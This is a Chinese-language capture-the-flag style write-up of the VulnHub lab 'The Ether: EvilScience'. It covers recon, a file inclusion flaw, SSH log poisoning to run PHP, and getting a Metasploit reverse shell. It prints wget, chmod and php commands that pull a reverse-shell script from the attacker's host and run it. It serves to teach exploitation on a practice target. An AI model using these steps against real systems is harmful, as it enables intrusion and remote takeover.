这是vulnhub靶机系列文章的第五篇,本次的靶机主要学习到的漏洞利用为文件包含漏洞,话不多说,直接开始吧...
靶机下载地址:
https://www.vulnhub.com/entry/the-ether-evilscience,212
攻击机kali:192168.136.129
靶机evilscience:192.168.136.143
寻找靶机ip,netdiscover -i eth0,找到靶机ip为192.168.136.143
Nmap扫描一下端口开放情况发现开启了80和22端口
nmap -A 192.168.136.143
访问一下80端口发现顶部有几个链接,点击发现是通过传参方式显示了页面,很大可能存在文件包含漏洞
因为nmap扫描出来只开放了apache和ssh服务,先尝试包含了apache常见的日志文件,但是都没有包含成功
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
因为apache的常见日志都fuzz过了并没有成功,所以尝试包含ssh的日志文件,ssh日志默认是在/var/log/auth.log,普通用户默认可读,可以看到结果成功包含了
ssh ''@192.168.136.143
发起一个ssh登陆请求,带上payload,这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞包含日志路径,
可以看到我们登陆的行为都被记录到了日志当中,并且response出现了phpinfo的字眼,证明代码被执行了
通过phpinfo查看到了网站根目录
本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路
然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell
然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行
因为想多操作一下msf,所以就利用msf反弹马getshell
Msf开启监听
然后放到网站根目录,靶机wget下载文件,本来想着执行以下三条命令反弹shell的
wget+http%3a//192.168.136.129/shell.php //wget下载php反弹脚本
chmod+777+shell.php //上权限
php+shell.php //执行反弹
但是执行完wget命令下载完成之后msf就直接拿到meterpreter会话了,想了想原因应该是文件包含的原因给直接执行了,所以直接拿到了meterpreter会话
直接拿到会话,但是事实是错误的
经过测试发现刚才接收到的meterpreter并不是靶机的,而是我本机的,然后就重新生成了linux的反弹脚本
再次开启监听并重复以上操作,成功接收到会话
首先getuid查看权限,是普通用户权限,然后利用msf的模块看看有没有什么exp可以溢出提权,但是并没有可利用的
查看一下文件,尝试利用高权限文件提权,进入到shell命令行,查看文件发现一个文件有s权限
由于感觉真实环境中遇不到这种奇葩的操作,所以就不进行下一步利用的,到此为止,主要还是学习一下文件包含的利用
文件包含的利用
包含系统配置文件,常见容器中间件的日志文件
利用ssh登陆日志配合文件包含getshell
文件包含配合命令执行一句话执行命令反弹shell,需要注意url编码后再执行